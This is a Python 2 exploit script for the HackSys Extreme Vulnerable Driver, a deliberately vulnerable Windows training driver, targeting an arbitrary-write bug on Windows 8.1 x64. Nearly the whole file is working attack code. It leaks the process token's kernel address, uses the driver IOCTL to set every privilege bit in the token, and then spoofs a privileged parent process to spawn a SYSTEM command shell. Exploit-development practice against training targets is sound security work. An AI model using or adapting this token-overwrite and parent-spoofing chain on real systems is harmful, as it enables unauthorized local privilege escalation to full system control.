from ctypes import *
from ctypes.wintypes import *
from os import getpid
from argparse import ArgumentParser

# Define bitmasks/constants
TOKEN_READ = 0x00020008
SYSTEM_EXTENDED_HANDLE_INFORMATION = 0x00000040
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x00000003
FILE_ATTRIBUTE_NORMAL = 0x00000080
FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS = 0x00000000
METHOD_NEITHER = 0x00000003
PROCESS_ALL_ACCESS = 0x001F0FFF
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
EXTENDED_STARTUPINFO_PRESENT = 0x00080000
CREATE_NEW_CONSOLE = 0x00000010
ENTRIES = 0x00006000
# "ENTRIES" probably needs to be adjusted on other systems/architectures.
# I arrived at this number by upping the value until NtQuerySystemInformation
# stopped returning STATUS_INFO_LENGTH_MISMATCH. If this is set too high
# it can crash the python process.
PVOID = LPVOID
PULONG = c_void_p
LPTSTR = c_void_p
LPBYTE = c_char_p
SIZE_T = c_size_t

# Define WinAPI shorthand
GetCurrentProcess = windll.kernel32.GetCurrentProcess
OpenProcessToken = windll.advapi32.OpenProcessToken
NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
CreateFile = windll.kernel32.CreateFileW # <-- Unicode version!
DeviceIoControl = windll.kernel32.DeviceIoControl
OpenProcess = windll.kernel32.OpenProcess
InitializeProcThreadAttributeList = windll.kernel32.InitializeProcThreadAttributeList
UpdateProcThreadAttribute = windll.kernel32.UpdateProcThreadAttribute
CreateProcess = windll.kernel32.CreateProcessW # <-- Unicode version!

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Create the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure."""
    _fields_ = [("Object", PVOID),
                ("UniqueProcessId", PVOID),
                ("HandleValue", PVOID),
                ("GrantedAccess", ULONG),
                ("CreatorBackTraceIndex", USHORT),
                ("ObjectTypeIndex", USHORT),
                ("HandleAttributes", ULONG),
                ("Reserved", ULONG)]
  
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Create the SYSTEM_HANDLE_INFORMATION structure."""
    _fields_ = [("NumberOfHandles", PVOID),
                ("Reserved", PVOID),
                ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * ENTRIES)]
                # The * ENTRIES makes "Handles" an array (ctypes doc 15.17.1.13)

class WRITE_WHAT_WHERE(Structure):
    """Create the WRITE_WHAT_WHERE structure."""
    _fields_ = [("What", PULONG),
                ("Where", PULONG)]

class STARTUPINFO(Structure):
    """Create the STARTUPINFO structure."""
    _fields_ = [("cb", DWORD),
                ("lpReserved", LPTSTR),
                ("lpDesktop", LPTSTR),
                ("lpTitle", LPTSTR),
                ("dwX", DWORD),
                ("dwY", DWORD),
                ("dwXSize", DWORD),
                ("dwYSize", DWORD),
                ("dwXCountChars", DWORD),
                ("dwYCountChars", DWORD),
                ("dwFillAttribute", DWORD),
                ("dwFlags", DWORD),
                ("wShowWindow", WORD),
                ("cbReserved2", WORD),
                ("lpReserved2", LPBYTE),
                ("hStdInput", HANDLE),
                ("hStdOutput", HANDLE),
                ("hStdError", HANDLE)]

class PROC_THREAD_ATTRIBUTE_ENTRY(Structure):
    """Create the PROC_THREAD_ATTRIBUTE_ENTRY structure."""
    _fields_ = [("Attribute", DWORD),
                ("cbSize", SIZE_T),
                ("lpValue", PVOID)]

class PROC_THREAD_ATTRIBUTE_LIST(Structure):
    """Create the PROC_THREAD_ATTRIBUTE_LIST structure."""
    _fields_ = [("dwFlags", DWORD),
                ("Size", ULONG),
                ("Count", ULONG),
                ("Reserved", ULONG),
                ("Unknown", PULONG),
                ("Entries", PROC_THREAD_ATTRIBUTE_ENTRY * 1)]
                # The * 1 makes "Entries" an array (ctypes doc 15.17.1.13)

class STARTUPINFOEX(Structure):
    """Create the STARTUPINFOEX structure."""
    _fields_ = [("StartupInfo", STARTUPINFO),
                ("lpAttributeList", PVOID)]

class PROCESS_INFORMATION(Structure):
    """Create the PROCESS_INFORMATION structure."""
    _fields_ = [("hProcess", HANDLE),
                ("hThread", HANDLE),
                ("dwProcessId", DWORD),
                ("dwThreadId", DWORD)]

def getprocesstoken():
    """Retrieve the current process token's memory address."""
    ProcessHandle = HANDLE(GetCurrentProcess())
    DesiredAccess = TOKEN_READ
    TokenHandle = HANDLE()
    if not OpenProcessToken(ProcessHandle,       # _In_  HANDLE
                            DesiredAccess,       # _In_  DWORD
                            byref(TokenHandle)): # _Out_ PHANDLE
        raise WinError()

    SystemInformationClass = SYSTEM_EXTENDED_HANDLE_INFORMATION
    SystemInformation = SYSTEM_HANDLE_INFORMATION_EX()
    SystemInformationLength = sizeof(SystemInformation)
    ReturnLength = None
    if NtQuerySystemInformation(SystemInformationClass,    # _In_      SYSTEM_INFORMATION_CLASS
                                byref(SystemInformation),  # _Inout_   PVOID
                                SystemInformationLength,   # _In_      ULONG
                                ReturnLength):             # _Out_opt_ PULONG
        print "\nNtQuerySystemInformation failed (check 'ENTRIES' variable)"
        print "ENTRIES = {:#x}".format(ENTRIES)
        raise WinError()
            
    pid = getpid()
    # Iterate through SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX structures
    for entry in SystemInformation.Handles:
        if entry.UniqueProcessId == pid and \
           entry.HandleValue == TokenHandle.value:
            print "[*]Token Address: {:#x}".format(entry.Object)
            return entry.Object

    # If we've come this far, something went wrong :(
    print "\nToken not found :("
    raise WinError()

def gethandle():
    """Open handle to driver and return it."""
    lpFileName = u"\\\\.\\HackSysExtremeVulnerableDriver" # Unicode
    dwDesiredAccess = (GENERIC_READ | GENERIC_WRITE)
    dwShareMode = 0
    lpSecurityAttributes = None
    dwCreationDisposition = OPEN_EXISTING
    dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL
    hTemplateFile = None
    handle = CreateFile(lpFileName,             # _In_     LPCTSTR
                        dwDesiredAccess,        # _In_     DWORD
                        dwShareMode,            # _In_     DWORD
                        lpSecurityAttributes,   # _In_opt_ LPSECURITY_ATTRIBUTES
                        dwCreationDisposition,  # _In_     DWORD
                        dwFlagsAndAttributes,   # _In_     DWORD
                        hTemplateFile)          # _In_opt_ HANDLE
    if not handle or handle == -1:
        raise WinError()

    return handle

def ctl_code(function,
             devicetype = FILE_DEVICE_UNKNOWN,
             access = FILE_ANY_ACCESS,
             method = METHOD_NEITHER):
    """Recreate CTL_CODE macro to generate driver IOCTL."""
    return ((devicetype << 16) | (access << 14) | (function << 2) | method)

def trigger(hDevice, dwIoControlCode, tokenAddress):
    """Create evil buffer and send IOCTL."""
    privs = create_string_buffer("\xFF\xFF\xFF\xFF", 4) # ALL THE PRIVILEGES!
    inBuffer = WRITE_WHAT_WHERE()
    inBuffer.What = addressof(privs)
    inBuffer.Where = tokenAddress+0x48 # Offset to privileges bitmask in token
    lpInBuffer = addressof(inBuffer)
    nInBufferSize = sizeof(inBuffer)
    lpOutBuffer = None
    nOutBufferSize = 0
    lpBytesReturned = ULONG()
    lpOverlapped = None
    print "[*]Triggering vulnerable IOCTL..."
    if not DeviceIoControl(hDevice,                # _In_        HANDLE
                           dwIoControlCode,        # _In_        DWORD
                           lpInBuffer,             # _In_opt_    LPVOID
                           nInBufferSize,          # _In_        DWORD
                           lpOutBuffer,            # _Out_opt_   LPVOID
                           nOutBufferSize,         # _In_        DWORD
                           byref(lpBytesReturned), # _Out_opt_   LPDWORD
                           lpOverlapped):          # _Inout_opt_ LPOVERLAPPED
        raise WinError()

def getprivilegedhandle(dwProcessId):
    """Retrieve handle to privileged process."""
    dwDesiredAccess = PROCESS_ALL_ACCESS # ayyyyy! lmao
    bInheritHandle = 0
    handle = OpenProcess(dwDesiredAccess,  # _In_ DWORD
                         bInheritHandle,   # _In_ BOOL
                         dwProcessId)      # _In_ DWORD
    if not handle:
        raise WinError()
    
    print "[*]Got handle to privileged process: {:#x}".format(handle)
    return handle

def procreate(ParentProcess):
    """Create new process specifying privileged parent."""
    lpAttributeList = None
    dwAttributeCount = 1
    dwFlags = 0
    lpSize = PVOID()
    # Call with null lpAttributeList first to get back the lpSize
    InitializeProcThreadAttributeList(lpAttributeList,  # _Out_opt_  LPPROC_THREAD_ATTRIBUTE_LIST
                                      dwAttributeCount, # _In_       DWORD
                                      dwFlags,          # _Reserved_ DWORD
                                      byref(lpSize))    # _Inout_    PSIZE_T
    
    # Initialize the attribute list
    lpAttributeList = PROC_THREAD_ATTRIBUTE_LIST()
    if not InitializeProcThreadAttributeList(lpAttributeList,  # _Out_opt_  LPPROC_THREAD_ATTRIBUTE_LIST
                                             dwAttributeCount, # _In_       DWORD
                                             dwFlags,          # _Reserved_ DWORD
                                             byref(lpSize)):   # _Inout_    PSIZE_T
        raise WinError()
    
    # Add attribute to attribute list
    Attribute = PROC_THREAD_ATTRIBUTE_PARENT_PROCESS # Specify parent process attribute
    lpValue = PVOID(ParentProcess) # Handle to specified parent
    cbSize = sizeof(lpValue)
    lpPreviousValue = None
    lpReturnSize = None
    if not UpdateProcThreadAttribute(lpAttributeList, # _Inout_   LPPROC_THREAD_ATTRIBUTE_LIST
                                     dwFlags,         # _In_      DWORD
                                     Attribute,       # _In_      DWORD_PTR
                                     byref(lpValue),  # _In_      PVOID
                                     cbSize,          # _In_      SIZE_T
                                     lpPreviousValue, # _Out_opt_ PVOID
                                     lpReturnSize):   # _In_opt_  PSIZE_T
        raise WinError()

    print "[*]Spawning shell..."
    lpApplicationName = None
    lpCommandLine = u"c:\\windows\\system32\\cmd.exe" # Unicode
    lpProcessAttributes = None
    lpThreadAttributes = None
    bInheritHandles = 0
    dwCreationFlags = (CREATE_NEW_CONSOLE | EXTENDED_STARTUPINFO_PRESENT)
    lpEnvironment = None
    lpCurrentDirectory = None
    lpStartupInfo = STARTUPINFOEX()
    lpStartupInfo.StartupInfo.cb = sizeof(lpStartupInfo)
    lpStartupInfo.lpAttributeList = addressof(lpAttributeList)
    lpProcessInformation = PROCESS_INFORMATION()
    if not CreateProcess(lpApplicationName,            # _In_opt_      LPCTSTR
                         lpCommandLine,                # _Inout_opt_   LPTSTR
                         lpProcessAttributes,          # _In_opt_      LPSECURITY_ATTRIBUTES
                         lpThreadAttributes,           # _In_opt_      LPSECURITY_ATTRIBUTES
                         bInheritHandles,              # _In_          BOOL
                         dwCreationFlags,              # _In_          DWORD
                         lpEnvironment,                # _In_opt_      LPVOID
                         lpCurrentDirectory,           # _In_opt_      LPCTSTR
                         byref(lpStartupInfo),         # _In_          LPSTARTUPINFO
                         byref(lpProcessInformation)): # _Out_         LPPROCESS_INFORMATION
        raise WinError()

def main():
    """Pwn things"""
    print "\n" + "  " + "*"*64
    print "  HackSys Extreme Vulnerable Driver"
    print "  Arbitrary overwrite exploit Windows 8.1 x64"
    print "  by Brian Beaudry (@sizzop)"
    print "\n  Greetz: Ashfaq Ansari (@HackSysTeam) / James Forshaw (@tiraniddo)"
    print "  " + "*"*64 + "\n"
    parser = ArgumentParser()
    parser.add_argument("-p", "--pid", help="PID of privileged process (e.g. SearchIndexer.exe)",
                        type=int, required=True)
    ppid = parser.parse_args().pid
    
    trigger(gethandle(), ctl_code(0x802), getprocesstoken())
    # After gaining SeDebugPrivilege, open a handle to a privileged process
    # so that it can be specified as the parent process for our shell. The
    # shell will inherit the parent's token and run as NT AUTHORITY\SYSTEM.
    # This technique was pointed out by James Forshaw in his Recon 2016 talk
    # https://recon.cx/2016/recordings/recon2016-10-james-forshaw-Process-Failure-Modes.mp4
    privhandle = getprivilegedhandle(ppid)
    procreate(privhandle)

if __name__ == "__main__":
    main()